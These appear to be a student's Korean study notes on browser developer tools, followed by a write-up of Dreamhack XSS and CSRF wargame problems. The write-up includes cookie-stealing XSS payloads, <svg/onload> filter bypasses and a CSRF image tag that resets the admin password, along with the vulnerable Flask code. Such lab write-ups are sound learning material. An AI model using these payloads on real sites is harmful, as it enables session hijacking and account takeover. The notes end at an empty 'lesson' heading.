: 개발자 도구 - 브라우저에서 F12로 실행
자바 스크립트 코드 메시지 출력, 실행
현 페이지를 구성하는 웹 리소스들 확인
(왼쪽부터)
현 페이지의 리소스 파일 트리
선택한 리소스 상세 보기
디버깅 정보
서버와 오가는 데이터 확인 가능
🔴 로깅 중지 및 로그 전체 삭제
🟠 로그 필터링 및 검색
🟢 옵션
Preserve log : 새 페이지로 이동해도 로그 유지
Disable cache : 이미 캐시된 리소스도 서버에 요청
🟡 네트워크 로그
🔵 네트워크 로그 요약 정보
로그 우클릭>copy : 원하는 형태로 복사 가능
copy as fetch로 복사>Consle 패널에 붙여넣기>실 : 동일한 요청을 서버에 재전송 가능
웹 애플리케이션과 관련된 리소스 조회 가능
Cookies에서 브라우저에 저장된 쿠키 정보 확인, 수정 가능
사용 속성
<script>location.href="/memo?memo"+=document.cookie;</script>
⇒ URL검사 프로그램에 위 코드 작성, 제출
⇒ 스크립트 실행, 메모 페이지에서 쿠키 정보 확인 가능
XSS-2
두번째 문제 코드는 XSS-1과 거의 똑같았는데
vuln페이지에서 XSS가 막혀있었다.
그래서 우회 방법을 써야 했는데 아래 글을 참고했다.
버그바운티(Bug Bounty) Write-up / Stored XSS
<svg/onload>
태그를 사용해 우회를 할 수 있었다.
!! 근데 !!
<svg/onload=location.href="http://host3.dreamhack.games:20569/memo?memo="+=document.cookie;>
라고 입력해도 해결이 도저히 안돼서 솔루션을 참고했더니
<svg/onload=location["href"]="http://host3.dreamhack.games:20569/memo?memo="+document["cookie"];>
그래도 안됨….?
hello라는 단어가 싫어질때쯤
너무 답답해서 그냥 솔루션 전체를 복붙 했더니
<svg/onload=location["href"]="http://127.0.0.1:8000/memo?memo="+document["cookie"]>
됐다
…..?
링크 머리아파서
처음 한 것 처럼 그냥도 해봤는데 안됐다가
세미콜론 빼니까 됐다
<svg onload=location.href="/memo?memo="+document.cookie>
…?
예상원인
<image src="/change_password?username=admin&pw="admin"">
코드 파일을 확인해 보니 패스워드를 변경할 수 있는 페이지가 있어서
관련 파라미터를 위와같이 짜서 보냈다.
근데 안되길래
이것저것 다 해보다가
<image src="/change_password?pw=admin">
훨씬 간결하게 쓰니까
해결할 수 있었다!
왜지??
왜 admin이라는걸 안 알려줘도 admin비밀번호를 바꾸는거지?
코드를 잘못 이해했나보다
@app.route("/change_password")
def change_password():
pw = request.args.get("pw", "") #pw 입력받기
session_id = request.cookies.get('sessionid', None)
try:
username = session_storage[session_id]
except KeyError:
return render_template('index.html', text='please login') #딱히 에러 없으면 통과
users[username] = pw #비밀번호 변경
return 'Done'
아 솔루션 여기저기 찾아보고 코드를 더 살펴보니
어차피 /flag는 admin 세션으로 실행된다는 것을 알 수 있었다.
@app.route("/flag", methods=["GET", "POST"])
def flag():
if request.method == "GET":
return render_template("flag.html")
elif request.method == "POST":
param = request.form.get("param", "")
session_id = os.urandom(16).hex()
session_storage[session_id] = 'admin' #세션이 admin!!!
if not check_csrf(param, {"name":"sessionid", "value": session_id}):
return '<script>alert("wrong??");history.go(-1);</script>'
return '<script>alert("good");history.go(-1);</script>'
⇒ admin으로 실행되는 페이지이므로 /change_password페이지 접속 후 비밀번호 변경 요청만 보내주면 된다.
교훈: